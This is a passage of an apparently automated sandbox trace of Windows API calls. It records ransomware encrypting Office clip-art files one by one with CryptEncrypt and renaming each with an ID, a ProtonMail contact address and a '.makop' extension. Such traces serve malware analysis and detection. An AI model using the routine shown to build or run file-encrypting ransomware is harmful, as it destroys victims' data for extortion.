Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0105.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.582] GetProcessHeap () returned 0x48a0000 [0105.583] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.583] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.583] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.583] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.588] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.588] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.588] GetProcessHeap () returned 0x48a0000 [0105.588] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.588] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.588] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.588] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.588] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.588] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.589] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.589] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.589] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.589] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.589] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.589] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.589] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a1c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a1c, lpOverlapped=0x0) returned 1 [0105.591] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a20, dwBufLen=0x1a20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a20) returned 1 [0105.591] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.591] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a20, lpOverlapped=0x0) returned 1 [0105.591] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.591] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.592] SetEndOfFile (hFile=0xf0) returned 1 [0105.601] GetProcessHeap () returned 0x48a0000 [0105.601] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.601] GetProcessHeap () returned 0x48a0000 [0105.601] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.601] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.603] CloseHandle (hObject=0xf0) returned 1 [0105.603] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0105.603] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0105.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.605] GetProcessHeap () returned 0x48a0000 [0105.605] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.605] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.605] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.605] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0105.610] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.610] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.610] GetProcessHeap () returned 0x48a0000 [0105.610] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.610] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.610] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.610] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.610] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.611] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.611] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.611] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.611] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.611] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.611] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.611] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.612] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcb3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcb3, lpOverlapped=0x0) returned 1 [0105.612] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcc0) returned 1 [0105.612] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.612] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcc0, lpOverlapped=0x0) returned 1 [0105.612] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.612] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.612] SetEndOfFile (hFile=0xf0) returned 1 [0105.619] GetProcessHeap () returned 0x48a0000 [0105.619] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.619] GetProcessHeap () returned 0x48a0000 [0105.619] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.619] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.621] CloseHandle (hObject=0xf0) returned 1 [0105.621] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0105.621] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0105.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.622] GetProcessHeap () returned 0x48a0000 [0105.622] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.622] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0105.627] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.627] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.627] GetProcessHeap () returned 0x48a0000 [0105.627] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.627] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.627] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.628] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.628] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.628] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.628] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.629] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.629] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.629] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.629] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.629] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.629] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1fa1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1fa1, lpOverlapped=0x0) returned 1 [0105.631] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fb0, dwBufLen=0x1fb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fb0) returned 1 [0105.631] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.631] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1fb0, lpOverlapped=0x0) returned 1 [0105.632] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.632] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.632] SetEndOfFile (hFile=0xf0) returned 1 [0105.638] GetProcessHeap () returned 0x48a0000 [0105.638] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.639] GetProcessHeap () returned 0x48a0000 [0105.639] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.639] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.641] CloseHandle (hObject=0xf0) returned 1 [0105.641] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0105.641] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0105.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.642] GetProcessHeap () returned 0x48a0000 [0105.642] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.642] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.642] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.642] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0105.647] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.647] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.647] GetProcessHeap () returned 0x48a0000 [0105.647] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.647] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.647] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.647] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.648] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.648] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.648] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.649] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.649] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.649] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e06, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e06, lpOverlapped=0x0) returned 1 [0105.650] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e10, dwBufLen=0x1e10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e10) returned 1 [0105.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e10, lpOverlapped=0x0) returned 1 [0105.651] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.651] SetEndOfFile (hFile=0xf0) returned 1 [0105.659] GetProcessHeap () returned 0x48a0000 [0105.659] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.659] GetProcessHeap () returned 0x48a0000 [0105.659] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.659] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft 